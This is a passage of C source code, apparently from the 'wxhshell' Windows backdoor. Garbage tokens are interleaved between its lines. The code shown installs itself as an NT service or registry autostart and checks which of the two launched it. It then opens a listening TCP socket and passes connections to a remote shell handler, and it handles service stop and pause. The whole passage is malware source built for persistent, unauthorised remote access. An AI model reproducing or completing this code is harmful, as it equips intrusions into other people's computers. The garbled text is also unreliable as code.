Z - hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dfcG'+RU} if(!hProcess) return 0; #^V"=RbD 1w^[Eno$$ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (RS:_] ge8zh/` CloseHandle(hProcess); s30_lddD Q.AM hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !m2k0|9 if(hProcess==NULL) return 0; q Q8l8 5al{[mi HMODULE hMod; =SnR9In char procName[255]; &O)mPnx` unsigned long cbNeeded; ,oe{@z{*@ {`Z)'G\` if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NBYE#Uih ^IYN"yX_ CloseHandle(hProcess); w (-n1oSo $)~]4n= if(strstr(procName,"services")) return 1; // 以服务启动 L]}|{<3\ G9q0E| return 0; // 注册表启动 ?J?!%Mw } e>)5j1 eX@q'Zi // 主模块 Uo
,3 lMr int StartWxhshell(LPSTR lpCmdLine) N!,l4!M\N { iH=@``Z SOCKET wsl; -;*Z!|e9 BOOL val=TRUE; Mw.+0R!T int port=0; w%\;|y4+ struct sockaddr_in door; ZZ5yu* & 78-:hk if(wscfg.ws_autoins) Install(); ^S|^1 tPHiz% port=atoi(lpCmdLine); '*;rm*n ~s_$a8 if(port<=0) port=wscfg.ws_port; ^B9wmxe 3!L)7Z/ WSADATA data; 'c D"ZVm1 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8<xy*=% 5KSsRq/8" if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; r%9Sx:F setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !
N p door.sin_family = AF_INET; oH0\6:S door.sin_addr.s_addr = inet_addr("127.0.0.1"); BKEB,K=K@ door.sin_port = htons(port); JGe;$5|q8 2<|5zF if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [PT_y3'% closesocket(wsl); 5sE}B8
mF return 1; vrGNiGIi[ } K3^2R-3:8 CmZ?uo+Y if(listen(wsl,2) == INVALID_SOCKET) { C*!_. <b closesocket(wsl); 10&A3C(E return 1; m.*+0NG } Q~kwUZ Wxhshell(wsl); u4'Lm+&O WSACleanup(); uJ$,e5q z4goa2@Z return 0; G`z48 Su7?-vY }
lzuZv$K HChewrUAn // 以NT服务方式启动 7d*<'k]{, VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s7?kU3y=s { ~6nQ- DWORD status = 0; N_0O"" d DWORD specificError = 0xfffffff; GZw<Y+/V"5 wkGF&U serviceStatus.dwServiceType = SERVICE_WIN32; ?8 F7BS4oQ serviceStatus.dwCurrentState = SERVICE_START_PENDING; Q8n?7JB serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4\?B,! serviceStatus.dwWin32ExitCode = 0; o%.cQo=v* serviceStatus.dwServiceSpecificExitCode = 0; Ow
I?(ruL' serviceStatus.dwCheckPoint = 0; 9[!
Hz)|X serviceStatus.dwWaitHint = 0; rd RX /%7eo?@, hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m[pzu2R if (hServiceStatusHandle==0) return; WJ*DWyd'' `uj`ixcR status = GetLastError(); =bzTfki if (status!=NO_ERROR) \Mi< ROp5 { N?XN$hwdZ serviceStatus.dwCurrentState = SERVICE_STOPPED; ^cNP?7g7 serviceStatus.dwCheckPoint = 0; `@&qf}` serviceStatus.dwWaitHint = 0; k#.co~kS serviceStatus.dwWin32ExitCode = status; @&+
1b= serviceStatus.dwServiceSpecificExitCode = specificError; <3bh-) SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~"N]%Cu return; 3,?y ! } saV `-# /dqKFxB1 serviceStatus.dwCurrentState = SERVICE_RUNNING; |F<aw?% serviceStatus.dwCheckPoint = 0; ec=C7M
| serviceStatus.dwWaitHint = 0; I2dt# if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
,Y!)V } 0[];c$r< uFqH_04 // 处理NT服务事件,比如:启动、停止 aE"t[' VOID WINAPI NTServiceHandler(DWORD fdwControl) Wac8x%J
{ -=RXhE_{ switch(fdwControl) 2g$Wv :E3 { K6X1a7 case SERVICE_CONTROL_STOP: j405G4BVW serviceStatus.dwWin32ExitCode = 0; vcmS]$} serviceStatus.dwCurrentState = SERVICE_STOPPED; b6lL8KOu serviceStatus.dwCheckPoint = 0; sDiYm}W serviceStatus.dwWaitHint = 0; .UcS4JU { y+PukHY SetServiceStatus(hServiceStatusHandle, &serviceStatus); pd6d( } ,-b9:]{L return; "`S61m_ case SERVICE_CONTROL_PAUSE: bk<3oI serviceStatus.dwCurrentState = SERVICE_PAUSED; c(jA"K[|b break; D fb& |